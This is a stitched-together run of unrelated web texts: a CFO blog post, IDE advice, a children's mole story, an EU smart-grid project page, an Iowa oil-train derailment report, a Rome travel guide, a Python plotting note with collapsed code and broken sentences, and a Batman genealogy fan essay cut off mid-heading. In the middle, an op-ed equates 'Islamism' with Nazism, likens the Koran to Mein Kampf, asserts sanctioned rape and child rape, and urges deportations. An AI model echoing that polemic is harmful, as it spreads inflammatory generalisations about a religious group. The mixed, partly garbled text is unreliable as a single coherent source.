The raspberry pi mini-computer part of my coming update will be extensive as well. Quite remarkable what you get for around $50.
This is a blog on being a CFO and I usually have Tuesdays are purer “CFO” topics and Thursdays are where my occasional other blogs show up. So you may be wondering why I am writing on building a PC or VR headsets or 3D printers.
My reasons are quite simple – career growth and personal growth. I live in the Silicon Valley area and there is a lot of interest in the technology around computers, VR and 3D Printers. More and more, companies are looking for CFOs that are more than just the accounting and numbers person. IF I don’t expand my mind and learn by doing in areas like this, then how can I be credible when I claim to be a good fit for a technology company CFO role?
I get personal satisfaction on learning new things, but with the competition out there today, I really think that you need to keep actively learning. If you stop and rest on your laurels, you will be passed by. I often have had staff ask me how I got to know our company’s products, and it is the same drive that makes me want to understand VR Headsets that made me dig into how electricity comes from a solar panel.
So try not to dismiss other people trying to learn and very importantly, encourage your staff to do so.
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June 30, 2005
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Miss McCluney, a re-enactor of a schoolmarm, tells day camp participants what would be expected of them at school in 1919.
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Sure that IDE will help you with a ton of autocomplete stuff and let you easily build your project, but do you understand what's going on?
I'm not denying the fact that IDEs make things easier. I'm trying to say that you should not rely heavily on their features.
I mentioned before that you should at least know how to run tests on the command line and the same applies to everything in IDEs: how to build, how to run, how to run tests and, let's be honest here, how to find proper names for your variables and functions. 'Cause it's nice that the IDE can complete all the names of the functions, but if the autocomplete feature was off, would you know which function you need? In other words, have you thought at least 10 seconds about a good name for your function so you won't need to use autocomplete to remember its name?
These days, IDEs can autocomplete almost everything, from function names to even how to name your variables. But using the autocomplete is not always a good solution. Finding better names is.
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THERE was a queer old person that lived in Farmer Green's garden. Nobody knew exactly how long he had made his home there because his neighbors seldom saw him. He might have been in the garden a whole summer before anybody set eyes on him. Those that were acquainted with him called him Grandfather Mole. And the reason why his friends didn't meet him oftener was because he spent most of his time underground. Grandfather Mole's house was in a mound at one end of the garden. He had made the house himself, for he was a great digger. And Mr. Meadow Mouse often remarked that it had more halls than any other dwelling he had ever seen. He had visited it when Grandfather Mole was away from home, so he knew what it was like. Some of those halls that Mr. Meadow Mouse mentioned ran right out beneath the surface of the garden. Grandfather Mole had dug them for a certain purpose. Through them he made his way in the darkness, whenever he was hungry (which was most of the time, for he had a huge appetite!). And when he took an underground stroll he was almost sure to find a few angleworms, which furnished most of his meals. To be sure, he did not despise a grub—if he happened to meet one—nor a cutworm nor a wire-worm. The wonder of it was that Grandfather Mole ever found anything to eat, for the old gentleman was all but blind. The only good Grandfather Mole's eyes did him was to let him tell darkness from light. They were so small that his neighbors claimed he hadn't any at all. Another odd thing about this odd person was his ears. The neighbors said they couldn't see them, either. But they were in his head, even if they didn't show. And Grandfather Mole himself sometimes remarked that he didn't
know how he could have burrowed as he did if he had been forever getting dirt in his eyes and ears. He seemed quite satisfied to be just as he was. And he used to say that he didn't know what good eyes were to anyone whether he was under the ground or on top of it!
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Islamism = Nazism. Any Questions?
William A. LevinsonWilliam A. Levinson is the author or editor of nine books on management,...
With the almost sole exception of Russian expansionism in the Crimea and Ukraine, the world's large-scale violence is traceable to one clearly identifiable source. Whether it's Hamas firing rockets at Israel, Boko Haram enslaving, raping, and killing Christian girls, genocide of Christians in the Sudan, or ISIS conducting mass executions in Syria and Iraq, fundamentalist Islam is the root cause. There is as much moral equivalence between Hamas and Israel as there was, for example, between Adolf Hitler and Winston Churchill, or Hideki Tojo and Franklin D. Roosevelt, and the European Union and United Nations ought to know it.
HAMAS, as shown by its recent conduct in the Gaza Strip, stands for Hiding Among Mosques And Schools. Islamism hides similarly behind the social and legal protections that civilized societies extend to religious faiths. We are all taught from childhood to respect other people's religions, and our Constitution protects genuine religions without exception. Islamism is not a religion; it is an ideology that hides behind religion.
Suppose, for example, that skinheads with swastika flags begin to goose-step, proclaim their right to rule the world, claim the right to kill or enslave those they deem inferior, and shout "Heil Hitler!" Germany would arrest them because the Nazism is illegal in Germany. Even the United States would, despite the First Amendment, probably watch such an organization to make sure it did not act on its words.
Why, then, is another class of people allowed to proclaim openly that they will dominate the world, claim the right to kill, rob, rape, and/or enslave those they consider inferior, and shout the equivalent of "Heil Hitler?" Just as Hamas hides among mosques and schools, Islamists hide the equivalent of Nazism behind religion. It is past time to strip this ideology of that mantle to treat it as what it is; an ideology.
Islamism = Nazism with Religious Rituals
Both ideologies share numerous major features:
(1) Their founders created the ideologies to get their followers to kill and die for them.
- This alone is not enough to condemn Islamism, because the track records of Judaism (e.g. as shown in the Old Testament) and Christianity (e.g. Inquisition, Thirty Years War) were once not much better. The key word is "were" as opposed to "are." There is only one purported religion that has, during the past couple of hundred years, used theology to justify genocide, rape, and human trafficking.
(2) Their founders wrote books, Mein Kampf and the Koran respectively, that embody the ideologies and justify aggressive warfare against those deemed inferior. Here is but one of many examples from the latter.
- Sura 9.29: Fight those who do not believe in Allah, nor in the latter day, nor do they prohibit what Allah and His Apostle have prohibited, nor follow the religion of truth, out of those who have been given the Book, until they pay the tax [jizya, dhimmi tax] in acknowledgment of superiority and they are in a state of subjection.
(3) Both ideologies claim the right to rule the entire world, as in "Today Germany, tomorrow the world" and "Islam will dominate the world."
- Here is a video of a demonstration in London where Islamists say they will rule the world, call for the bombing of Denmark, and add that they will take infidel women as war booty. The demonstration adds threats of another 7/7, the terrorist subway bombings in the UK.
- The context of the Takbir (Arabic for "Allah akbar!") in this demonstration comes across like the "Heil Hitler!" of the 1930s.
(4) Both ideologies define their own members as racially or religiously superior Herrenvolk; the Master Race. These are Aryans and the Dar-al-Islam (House of Islam) respectively, and the latter encompasses only the "right" kinds of Muslims.
(5) Both ideologies define outsiders as Untermenschen (subhumans) whom the Master Race is free to kill, rape, rob, and/or enslave. Nazism defined Jews, Slavs, Gypsies, homosexuals, and Black people as Untermenschen. Islamism's kafirs or infidels include Jews, Christians, Hindus, Baha'is, and the wrong kinds of Muslims. Sunnis regard Shiites as Untermenschen, and vice versa.
- Kafirs and infidels are all part of the Dar-al-Harb (House of War), which means Islamism has openly declared war on the entire non-Islamic world. This includes, of course, the wrong kinds of Muslims.
- ISIS demands the jizya, a tax paid by infidels for the privilege of remaining alive in the Dar-al-Islam, from Christians in Iraq. When the Christians can't or won't pay, Islamists rape their female family members. The reference adds that Islamists use Christian women the same way Imperial Japan used Koreans as what they called "comfort women."
- Islamists claim, and often exercise, the right to rape infidel women in North America, Europe, and Australia. "If you take out uncovered meat and place it outside on the street, or in the garden or in the park, or in the backyard without a cover, and the cats come and eat it ... whose fault is it, the cats or the uncovered meat? The uncovered meat is the problem. If she was in her room, in her home, in her hijab, no problem would have occurred."
(6) Both ideologies slate certain people for Sonderbehandlung (special treatment, i.e. extermination). The Nazis applied this to special needs children, and here is an example of Sonderbehandlung of gay people in Iran.
(7) Both ideologies need not honor their agreements with Untermenschen. Examples include Hitler's violation of his peace agreements, and the Islamist hudna (temporary or phony peace). Hamas has proven itself incapable of honoring its hudnas for more than a few hours.
(8) Both ideologies identify property of Untermenschen with yellow Stars of David or the Arabic symbol nun (Nazarene, Christian) for expropriation or looting.
(9) Both ideologies exterminate Untermenschen, and then bury them in mass graves. Nazi concentration camps, mass graves of Armenian victims of the Turkish genocide of 1915, and the current conduct of ISIS are all examples.
- Almost all Christian-majority nations outside the former Soviet Union are rated as Free.
- The world's only Jewish-majority nation is also the only Free nation in the entire Middle East.
- The world's only Hindu-majority nation is the world's largest democracy.
- NO Muslim-majority nation is rated better than Partly Free.
The only significant differences between Nazism and Islamism are as follows, and both are in Nazism's favor:
(1) Nazism recognized Aryan women as Herrenvolk, while Islamism treats Muslim women as chattel property. Muslim women can be sold by their male "owners," subjected to female genital mutilation, and stoned to death for adultery if they are raped.
(2) Nazism never sanctioned child rape. Eva Braun was, of course, a consenting adult when Hitler consummated his relationship with her.
It is past time for Europe, some of whose countries have banned Nazism, to abolish protections including anti-"hate speech" laws that allow jihadists to promote their depraved and violent ideology without even verbal or written opposition. Boycott, divestment, and sanctions (sound familiar?) of Islamist-run businesses also should be on the table, along with deportation of Islamist immigrants as undesirables.
Most American Muslims, on the other hand, subscribe to American values. They may well have immigrated to get away from Islamism, the same way Germans and Italians (e.g. Enrico Fermi) fled Nazism and Fascism. Even the U.S., however, has Islamists who say their religion exempts them from the laws of the United States, while others say Sharia law will replace the U.S. Constitution. The First Amendment guarantees the right to practice a religious faith, but not an ideology that places itself above the Constitution. This is a strong argument for revoking the 501(c)(3) tax exemption of any mosque or other Islamic organization that advocates the overthrow of the freedoms that our country exists to protect.
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MyGrid; Energy Efficient and Interoperable \nSmart.. (GreenCom)
MyGrid; Energy Efficient and Interoperable \nSmart Energy Systems for Local Communities
Date du début: 1 nov. 2012,
Date de fin: 30 avr. 2016
One promising answer leveraging the time frame of investment in changes of power supply and demand is to optimize the grid capacity with Smart Grids. However, a managed customer demand with intensive grid monitoring, automation and reliable customer flexibility is needed to allow for a real and secure reduction in residual capacity.The aim of GreenCom is to utilise the flexibility and intelligence in the low-voltage demand and local supply side infrastructure to create increased regulation capacity and reserve power in the centralised power grid by extending the means to effectively and securely manage demand and supply within defined boundaries. GreenCom thus aims to balance local exchange of energy at the community microgrid level (e.g. Smart Cities), to avoid destabilizing the centralized grid.GreenCom adopts a business model driven development approach, mapping dynamic value constellations to business cases capturing the service concept idea to consolidate user requirements and drive the user evaluation.The GreenCom Smart Energy System will collect, aggregate and analyse data from appliance level consumption such as appliances, smart home devices, sensors and actuators and smart meters. The data analysis will provide real-time consumption data on type of devices and location together with short term forecasts (up to 4 hours) aggregated over several sectors of the grid. A value based demand control based on individual consumer contracts with attractive tariffs, reward/penalty clauses and other elements will allow intelligent energy demand management and control including local energy generating and storage installations.GreenCom will allow energy distributors to start focussing on Energy System effectiveness. Energy suppliers will be able to shift from Smart Power Grid to Smart Energy System allowing e.g. DSOs or Retailers, to balance electricity load demand without adversely affecting grid stability and reducing critical peak situations.
Bonjour, vous êtes sur la plateforme Région Sud Provence-Alpes-Côte d’Azur dédiée aux programmes thématiques et de coopération territoriale. Une équipe d’experts vous accompagne dans vos recherches de financements.
Contactez la Région Sud Provence-Alpes-Côte d'Azur
Vous pouvez nous écrire en Anglais, Français et Italien
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Train carrying oil derails in northwestern Iowa, prompting evacuations, clean-up
The Sioux County Sheriff's Office ordered evacuations Friday near Doon, Iowa, after a train derailed and spilled oil being transported from Canada.
The BNSF Railway Co. train derailed at about 4:30 a.m., said Andy Williams, a spokesperson for the company.
The train was carrying ConocoPhillips oil when went off the tracks, but the amount spilled is still unknown, according to an email from the oil company.
"We are grateful that there are no reported injuries to the train crew or nearby residents," ConocoPhillips said in an emailed statement.
Lyon County Sheriff Stewart VanderStoep said 30 cars derailed and though not all of the cars were leaking, a significant number of them were.
It's unclear what caused the train to derail. Williams said BNSF crews and a hazmat team are on the scene. VanderStoep said they suspect the derailing was flood-related, though nothing has been confirmed. BNSF cleaning equipment arrived at the scene around 1 p.m.
"We don’t know how much is leaking or how bad it is," VanderStoep said. "We've got some stuff out on the water now to soak it up, but the whole area is blocked off."
Photos and video posted on social media show more than a dozen oil tankers jackknifed across flooded farmland, with oil leaking into the water.
Jacob Faber, who lives nearby, said many in the area had spent the previous night volunteering with flood recovery efforts, trying to fight off the rising waters that were blocking roads and covering expanses of land.
"There was water on the train track and the train tried to go over it," Faber said.
The evacuations were for Garfield Avenue from 270th Street to 280th Street.
Federal safety officials are keeping track of crash recovery efforts, but haven't yet started an investigation, said Keith Holloway, a spokesman for the National Transit Safety Board.
"We are monitoring and collecting information," Holloway said.
The Associated Press reported that 31 train cars containing crude oil were involved in the incident. Nobody was injured.
BNSF railroad spokesman Andy Williams told the Associated Press he was unsure how much oil leaked and how many cars were leaking. Oil is being carried downstream into the Rock River west of the derailment.
Meanwhile, parts of Rock Valley south of Doon were evacuated due to flooding Friday morning, but residents were allowed to return.
The sheriff's office shared a video on its Facebook page of the aftermath. Faber and others posted about the crash on Twitter.
Faber, a 25-year-old construction worker from Rock Valley, lives about seven miles from the crash. He said tankers were "thrown around like LEGOs" across the flood waters.
He took drone footage from a friend's nearby property. The entire area smelled like exhaust fumes, he said.
"You can't describe how strong that oil smell is when you're close to it," Faber said.
Des Moines Register reporters Makayla Tendall and Danielle Gehr contributed to this story.
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ROME — Some of Rome’s attractions are among the best-known spots on Earth. Few visitors need to be told to visit the Colosseum or the Trevi Fountain during their stay in the Eternal City. But here’s a list of some other worthwhile things to see and do that tourists may want to add to their itineraries, and the best part is that they won’t cost a dime.
GLIMPSING THE POPE IN ST. PETER’S SQUARE
On Sunday mornings when the pope is in Rome, pilgrims, tourists and Romans flock to St. Peter’s Square, intent on glimpsing the pontiff at his studio window as he speaks to the crowd below. Facing the basilica, the window to watch is next-to-last on the top floor of the Apostolic Palace. Just before the pope pokes his head out, a red curtain with the papal seal is hung from the windowsill. Many people carry flags or banners from their home countries or hometowns, giving the square a festive air.
Depending on what the pontiff says, the square often erupts in thunderous applause. His appearance starts at noon sharp and lasts about 15 minutes, so don’t be late. The sun and presence of so many bodies can crank up the heat, so water bottles and hats are recommended. Even if the pope’s out of town, the square is a worthwhile destination, with its 17th century colonnade cradling the area like two arms.
THE APPIAN WAY: ANCIENT ROME
The Ancient Appian Way was built in the fourth century B.C. by the censor Appius Claudius as a road to connect Rome with southern Italy. It’s usually visited by tourists looking for its early Christian catacombs, but while the catacombs charge admission, a simple walk on the Appia is a wonderful way to feel the city’s past beneath your feet.
The first part of the road from the center has no sidewalks and is unsuitable for pedestrians, but a good starting point is Cecilia Metella’s tomb, a circular building of the Augustan age built for the daughter of a first-century B.C. consul. In the 4 kilometers (2.5 miles) from there to the city’s outskirts, the road is often paved with its original basaltic blocks, and flanked by fragments of ancient tombs, statues and mausoleums.
Cecilia Metella’s tomb can be reached by taking the Metro A line from Termini station to the Colli Albani stop, then riding the No. 660 bus for eight stops. Here you’ll suddenly feel like you’re in the countryside: Cars are rare, with the whole area closed to private traffic on Sundays, and sheep grazing in nearby fields. In summer, you can even pick blackberries from hedges along the way.
The road also has modern touches of glamour because many rich villas are located on the sprawling countryside. In the late 1950s-early ’60s “Dolce Vita” era, several of the villas were frequented by movie stars, and today’s occupants still throw exclusive parties on weekends.
THE IMPERIAL FORUMS BY NIGHT
The Way of the Imperial Forums, the street leading from Piazza Venezia to the Colosseum, is among the best-known places in Rome. By day, it perfectly represents the Roman Empire’s lost greatness. The arches, temples, and row of statues portraying the emperors all testify to the pride that characterized Roman civilization 2,000 years ago.
But tourists who visit in sunlight should consider returning after sunset, when the Forums are transformed into a romantic spot with white, blue and green beams of light coloring the ruins. Lovers are often seen here embracing on the big fragments of columns scattered under the trees along the way.
SEE THREE STATES IN A KEYHOLE
A villa owned by the Knights of Malta atop the ancient Aventine Hill, at No. 3 on the Piazza dei Cavalieri di Malta, has a large entry door with a celebrated keyhole. If you peer through it, you’ll have a perfectly framed view of the dome of St. Peter’s Basilica.
Curiously, viewers can see three separate states at once: the villa’s garden in the territory of the Sovereign Order of Malta; the Vatican City State, where the Basilica is located; and a small portion of Italy in between.
When the weather is pleasant, stroll down the block to a tiny jewel of a park, the Giardino degli Aranci, or Orange Tree Gardens, where you can take in the cityscape and meandering river. It’s especially popular with families on Sundays.
A startling contrast to the wealth of ancient, medieval and Renaissance palaces in the city center can be found in the rationalist architecture of 1930s Rome in the EUR neighborhood. The area was designed as the host site for a proposed 1942 world’s fair called Esposizione Universale Roma, or EUR. The expo, which Benito Mussolini had planned as a celebration of 20 years of Fascism, never took place because of World War II, but the neighborhood is still known by its initials as EUR.
The district’s square, neatly laid-out buildings, connected by wide avenues, house government offices, as well as several museums, including the popular Museo Preistorico ed Etnografico, which explores the development of Italian and world civilizations.
The EUR Magliana stop on the Metro B line is located in front of the neighborhood’s most famous site, the so-called “square Colosseum”: a huge, three-dimensional parallelogram pierced with arches. From there, one can easily walk to other buildings featuring the same monumental style associated with the Fascist era, such as the Palazzo dei Congressi (Congress Hall), built to host conferences and other gatherings.
There’s also a park with a lake where Romans go kayaking or simply lie down on the grass, enjoying the view of the Basilica of Saints Peter and Paul.
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HTML plotting is important for communicating key data to colleagues, the general public and policymakers. HTML plots allow easy sharing of interactive data plots to any web browser. There are numerous HTML plotting methods available from Python. These methods are completely open source and work in any web browser. The HTML file can be shared by several means:
- email attachment
- embedded in a webpage as an HTML5 iframe
- Ipython notebook
- hosted plotting service (Plotly, figshare, et al)
Matplotlib HTMLWriter can plot animated sequences. More powerful HTML plotting capability requires mpld3. Virtually any Matplotlib plot can be converted to HTML for display in any web browser. mpld3 uses HTML and D3.js to animate the plots.
from matplotlib.pyplot import figure import mpld3 fig = figure() ax = fig.gca() ax.plot([1,2,3,4]) mpld3.show(fig)
mpld3.show() converts any Matplotlib plot to HTML and opens the figure in the web browser.
mpld3.save_html(fig,'myfig.html') method saves figures to HTML files for archiving or uploading as an
iframe to a website, etc.
D3.js enabled interactive elements are available from the
template_type='simple' keyword for
.save_html(), which can increase robustness across web browsers.
The open source Plotly library can plot completely offline, without Plotly servers. Plotly can make offline Python plots that work in any web browser. Plotly offline plots don’t need IPython/Jupyter, although you can certainly use them as well.
Offline plotting is important as it doesn’t rely on external proprietary services that could prevent future users from making plots.
show the simple syntax.
When using plain Python, be sure to use
iplot) will silently fail to do anything!
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Scions of the Dark Knight:
An Expansion of the Wayne Family Tree
by C. Richard Davies.
I: Bruce Wayne, Sr
While chronicles of the adventures of Bruce Wayne (or rather, the Bat-Man) would not be published until 1939, it is clear that he had begun his war some time before that. Even the first story, "The Case of the Chemical Syndicate" opens up in media res where his career is concerned; Commissioner Gordon is shown discussing the activities of the mysterious figure with Wayne, who is affecting the role of an idly rich nincompoop.
So it is not really a question of whether or not the Bat-Man had been active before that point; the only question is how long had he been doing so. One key piece of evidence is a drawing of a man wearing a winged, bat-like costume, apparently inspired by similar drawings by Leonardo da Vinci, and very similar to the costume which the artist, Bob Kane, later created for Detective Comics. But this drawing is dated 1934.
Since we know that Kane and Wayne were distantly related, it's not impossible that Wayne (who was only seventeen years old at that point) let him in on his plans for a war on crime, so that Kane could contribute his artistic talent to the creation of an image to terrify the cowardly and superstitious criminal lot.
We can only wonder about Wayne's adventures in these early years, before he became well-known enough for the police to admit his existence, but they aren't really the focus of this article. Instead, this observation is included to reiterate the following point: events which appeared in the published accounts of this family may have ocurred significantly earlier than their publication.
II: Dick Grayson
The facts of Dick Grayson's parentage have been told elsewhere; this article has nothing to add to it but the author's belief that Wayne was unaware of his relationship to young Dick at the time of the Grayson murders. It is the author's conviction that if Bruce had known that he had a son at that time, nothing would have stopped him from acknowledging Dick as his child and adopting him -- not the shame the revelation of the affair would have brought on his family name, not the legal difficulties, perhaps not even Dicks' wishes.
As this did not happen, it does not seem likely that Bruce realized that Dick was his own son until after younger man was grown, if then. Dick remained a teenager in the comics for nearly thirty years after his introduction; in the real world, however, he grew to manhood and went off to college in 1949, exactly as Superman & Batman: Generations portrayed him.
And it is at that point we will momentarily leave him.
III: Bruce Wayne Jr.
Bruce Wayne Jr. was born in early 1950 to Bruce Wayne Sr. and and his first wife, Kathy Kane. And that fact requires elaboration.
Kathy Kane was a cousin to Bruce Wayne, a somewhat closer cousin -- no pun intended -- than their mutual kinsman, Bob Kane. (She was the granddaughter of Bruce's maternal grandfather's younger brother.) Independently wealthy, she decided to pursue a life of thrills by imitating the Bat-Man as Batwoman. Eventually, the two crimefighters admitted to a mutual attraction for each other and were married.
The adventures of Batwoman (and her protege Betty Kane, aka Batgirl, of whom more later) were not revealed until 1956, and the fact that she married Wayne was not revealed until 1960 -- and then it was only stated in an "imaginary story" alleged to be set in the future. (Shades of May-Day Parker.) The reasons for this obfuscation are fairly obvious. While Bruce Wayne enjoyed the confusion that the comic book accounts of his life provoked in the criminal underworld, he would not for one second have permitted any truths about his home life to be published where someone could deduce his actual existence. He had lost his parents to violent crime; he woud do whatever he had to do to protect his wife and son.
But then why did Kathy Kane appear in the strip at all? The answer is complicated and does not cast a pleasant light on Bruce, but the truth must be told.
Kathy Kane entered the lives of Batman and Robin in 1946, nearly ten years before her first published appearance. And by the time the stories about her were written and drawn, the marriage was over, having ended in divorce. As noted above, Bruce wanted to protect his family from the violence of the world; as noted above that, Kathy wanted a life of thrills and danger. After she recovered from childbirth, it was her intention to return to action as Batwoman, alongside the Bat-Man, but Bruce refused to let her. What from his point of view were perfectly reasonable precautions seemed like shackles to her. Ultimately, he was forced to let her go; she may well have threatened to expose him if he did not grant her a divorce.
Bruce Wayne Jr. was probably only three or four years old when his parents separated. It's possible that the lack of an abiding love interest in his later life was due to a mild distrust of all women that he developed after his mother essentially abandoned him. But that may be too Freudian an analysis of the dynamics of this most Jungian family.
In any event, by 1956 the publishers of Batman's adventures were informed that it was now acceptible for them to include a Batwoman character in them, and provided with information about her. This permission did not come because Wayne wished his ex-wife injury (at least not consciously) but because he could use the stories to further obscure the truth: that he had married a second time.
IV: Helena Wayne
In 1955, while Bruce Wayne was attending the wedding of a former fiancee (one of several, both fiancees and weddings) he was subjected to a psychoactive gas designed by Johnathan Crane, a criminal who sometimes went by the alias "the Scarecrow". (However, Crane probably did not wear a costume which made him resemble a scarecrow; a descendant of Ichabod Crane, he would probably have been called a scarecrow even if he wasn't obsessed with fear and its effects.)
The attack caused Wayne to begin to have hallucinations in which he was alone in the world; this was perhaps his greatest fear, one which had its roots in early childhood and which had been exacerbated ty the end of his marriage. In his delusional state, he could not perceive his allies; his attempts to contact Grayson, Clark Kent and other members of the Justice Society went unanswered, at least from his perspective. Thus, he was forced to turn to an enemy: Selina Kyle, the Catwoman.
At that point, Ms. Kyle was jailed, but because Wayne regarded her as the most moral of his criminal nemeses (for she had never killed, to his knowledge) he used his connections to secure her early release in exchange for her help in defeating the Scarecrow. And she did help him, not only to face his enemy but to admit the real sources of his fears. There had always been an attraction between the two of them, as well ...
Selina was not driven by the competitive desires which drove Kathy from Wayne; her career and "adventures" had been motivated by the necessity of survival after she fled her abusive first marriage for a life in the underworld of the Middle East. In contrast to that, a secure (if somewhat constrained) life as the wife of a billionaire must have seemed less like the promise of heaven on Earth than its fulfilment. She was a kind and good stepmother to her husband's eldest son, and when her daughter Helena was born in 1957, her happiness seemed complete.
And so it would remain for many years.
V: Rick Grayson
Dick Grayson was not an idle student, but he wasn't an ideal student either. He was compelled to hide his considerable intellectual and physical gifts from the world in order to minimize the possibility that someone might identify him as the fictional character whose name he bore. Furthermore, he was forced to pull many all-nighters during his college years in order to fight crime or weird menaces, instead of using those all-nighters to do homework and write papers.
Thus, it should surprise no one that the four year program on which he embarked (Bachelor of Arts, major in Sociology, minor in Psychology) took him eight years to complete. Thus, he graduated from college in 1956, but we next hear of him when he returned to Stately Wayne Manor in 1959. Three missing years thus ensue. While it is possible that Dick engaged in some post-graduate work, his lack of academic discipline (as his professors would have seen it) may have kept him from such activities.
Instead, what seems to have happened is that, like his father(-figure), Dick Grayson seems to have stumbled into a brief and unhappy marriage with a member of the extended Kane family.
Betty Kane was the daughter of Kathy Kane's younger brother, who had married the grand-daughter of one Aaron Stemple of Seattle, Washington. Betty's older brother William became one of the first agents of the Bureau of Investigation (the predessor of the FBI), but Betty was drawn into crimefighting in a much more direct manner when her aunt drafted her to serve as Batgirl, the "Robin" to her "Batman".
There had been some junior-league romance between Robin and Batgirl, but as Betty had not yet been thirteen years old when she met, nothing actually came of it. However, when as adults they met again, something sparked between them. Perhaps it was nothing more than the inevitable outcome of the repressed, almost monastic life that Dick had led up to this point. Whatever it was, it was enough to get them into bed together, and enough to lead them to the offices of a justice of the peace, and enough to keep them together for nine months ... but not enough to hold them together for much longer than that.
Richard Grayson Jr. (or Rick Grayson, as he was usually called) was largely raised by his mother, with few visits from his father. As Dick knew that he was eventually going to take on the identity of the Batman, and that his life would be dangerous not only for him but for anyone close to him, it seemed like the best thing.
VI: Bruce Wayne, Sr. (continued)
By 1959, Wayne had been fighting crime for a quarter of a century. He had long since avenged his parents, through discovering the identity of their killer and accidentally (or perhaps not...) setting in motion events that caused Joe Chill to be killed, and similarly destroying the crime boss who had hired Chill to do the deed. He was in his early forties, and retirement beckoned.
Dick became the second Batman, and Bruce Jr. soon followed his lead as the second Robin. Bruce Sr. watched their activities, either as a team, independently, or as members of the Justice League (in Dick's case) and the original group of Titans (Bruce was a founding member), and felt no regrets.
He had a wife who loved him, and a daughter to raise. He had all that he could ask for of life.
VII: Dick Grayson (continued)
In 1969, according to the second issue of Superman & Batman: Generations, the second Batman and Robin team once again battled the criminal known as Joker Junior. By the end of this adventure, this criminal was revealed to be the original Joker in disguise ... who managed to kill Robin. What had actually happened was that his latest trap claimed the life of Batman II (Dick Grayson), but in order to preserve the myth of the Batman's invincibility, Bruce Wayne Jr. switched costumes with his partner's corpse.
But is this really what happened? John Byrne, writing thirty years after the event, continued to embellish these long-suppressed stories with details from his own imagination, such as his identification of Supergirl as the daughter of Superman and Lois Lane, and the invention of a relationship between her and Bruce Wayne Jr. He may even have been under editorial commands to do so.
Considering parallels between events in the 1949 episode of Byrne's story and a story chronicled in a 1969 issue of Batman, it should surprise no one that a parallel to this story appears nearly twenty years after 1969: the storyline titled "A Death in the Family". The details change, but the essence remains the same -- the Joker kills Robin. But this storyline was unusual in that two versions of it were created. In one Robin died, and in another he lived. The editorial staff then asked their readership to vote to determine Robin's fate, having fixed things by making him into an unpleasant jerk whom the readers were already crying out to have removed.
Overwhelmingly, the readers voted for death.
But ignoring the morbidity of the situation, one fact screams for attention: in one storyline, Robin lived. This leads the author to the conclusion, based on the additional facts that an adult Dick Grayson continued to play a role in accounts of the Batman after the story in which he was supposed to have died, that he was still alive when Bruce Wayne Jr. brought him out of the chamber of death, having switched costumes.
Grayson was critically injured, probably comatose, his life dangling by the proverbial thread. But he also received the best medical care in the world (possibly even exposure to Amazon medical technology) and began a long, slow process of recovery. And Bruce Wayne Jr. had to assume the mantle of the Batman himself, much earlier than anyone had planned. Nor was this the last tragedy which would be visited on him during his career under the hood of the Batman.
By 1975, Dick had almost recovered from his crippling injuries, and it is possible that Bruce Jr. offered to return the Batman identity to him. But if so, Dick declined the offer. His reasons are obvious: while he had acquired a certain additional longevity in the 1940s, along with the most of the Justice Society and certain of their associates, his injuries had taken several years off his lifespan ... and he was already older than Bruce Sr. had been when he retired.
So, wearing a slightly more mature (and not coincidentally armored) costume, Dick became Robin again and served as a member of the Justice Society. He also finally finished his law degree, and served as a United States Ambassador.
VIII: Bruce Wayne, Sr. (continued)
In 1976, Selina Wayne was contacted by a member of her old gang, one "Silky" Cernak, who blackmailed her into returning to crime with photographic evidence that she had murdered a police officer. (This photograph was apparently doctored.) During the robbery which ensued, Selina Wayne was fatally shot and died in her husband's arms.
It was devastating -- not only to Bruce Wayne Sr, but also to his children. Selina had been part of the glue that bound the small family together, and with her absence everything began to fall apart, beginning with Bruce Wayne's complete withdrawal from public life. Comparisons to his distant relative, Charles Foster Kane, abounded.
Two years later, he sent a terse letter to the editorial staff of D.C. Comics, consisting of three words: "Kill me off." Any amusement he found in the adventures of his fictional counterpart had long since abandoned him. While the "current" adventures of Batman consisted of a mix of stories from the 1950s and more recent exploits of his son, a version which was closer to reality was being printed in All-Star Comics. It was there that the story of the death of his wife had been printed, but in that account Wayne went on to become a Police Commissioner. Perhaps it was all just too painful. Obligingly, a final "Earth-2 Batman" story was crafted, and saw print in Adventure Comics in 1979. Shortly afterwards, Wayne disappeared completely. Ms. Patricia Savage was allegedly one of the last people to see him alive, when he met her at a New York movie theatre where the filmic version of her late husband's career was playing. They had much about which to commisserate.
But after that there was nothing. His friends and relations made attempts to discover his wherabouts and activities, but half-hearted ones at best; they all knew that if a man of Wayne's talents does not desire to be found, he won't be found.
There were speculations that Wayne had begun a new war on crime, beginning with the Si-Fan. (His son had battled a minor agent of the Lord of Strange Deaths, one Ra's al-Ghul, and Wayne could not have been unaware of the career of Shang-Chi around this very time.) Others suggested other situations; he had been captured, and his DNA extracted to provide the basis for genetically enhanced super-soldiers. Some even speculated that he had perished at the hands of some young criminal unaware of who he was killing, even as his parents had died. But this seems unlikely; predators usually have a better sense of their prey than to attack something which preys on them.
This author does not know the truth, and until someone comes forward with better evidence, it will simply be stated that after 1979, the original Bat-Man passed out of history into legend.
IX: Helena Wayne (continued)
Helena's reaction to her mother's death was precisely what one might expect of a scion of the Dark Knight -- she sought to avenge. Yet another part of her motives must have been to justify her mother's criminal past to herself. Why else, one wonders, would she choose the nomme de guerre of the Huntress -- a name used by an earlier costumed figure who had been both crimefighter and criminal at various times?
Alone, she brought "Silky" Cernak to justice. She worked with her older brother on a few cases, even fighting a younger, more violent Catwoman who apparently had no relation to her mother. She also joined the Justice Society, around the same time that Supergirl did.
In an attempt to maintain the fiction that the Justice Society and the Justice League existed on two different, parallel worlds, the authors of the Justice Society stories portrayed Supergirl as "Power Girl" -- using a different outfit and an even more different personality. In fact, the agressive personality which Kara exhibited as Power Girl was probably more due to her anger that she had never been invited to join the Justice League, of which her cousin was a member. Helena and Kara became very close friends during this period. Very close friends. But I digress.
In any event, Helena Wayne served as an honored member of the Justice Society (and also assisted its offshoot, Infinity Incorporated) for the rest of her life.
XI: Rick Grayson (continued)
Rick Grayson became a private investigator. During one of his first cases, around 1980, he was contacted by a mysterious being called Raven who guided him to form a new group of Titans (the original team having disbanded after most of its members grew up.) Despite his insecurities, which at one point led him to become a member of a religious cult known as the Church of Brother Blood, he proved to be a capable leader for this team, which he led under the alias "Nightwing".
It would seem that one of his descendants, Amanda Stemple Grayson, eventually married Ambassador Spock of the planet Vulcan. Ironically, this may not have been the first time that a member of the Grayson clan wed an extraterrestrial, for it has been alleged that Rick Grayson married the Tamaranian princess known as Starfire, and had a child who went by the name Nightstar Grayson. Whether this woman was the ancestor of Amanda Grayson, and indeed much else of Rick Grayson's life and career, remains uncertain at this time.
XII: Dick Grayson and Helena Wayne (continued)
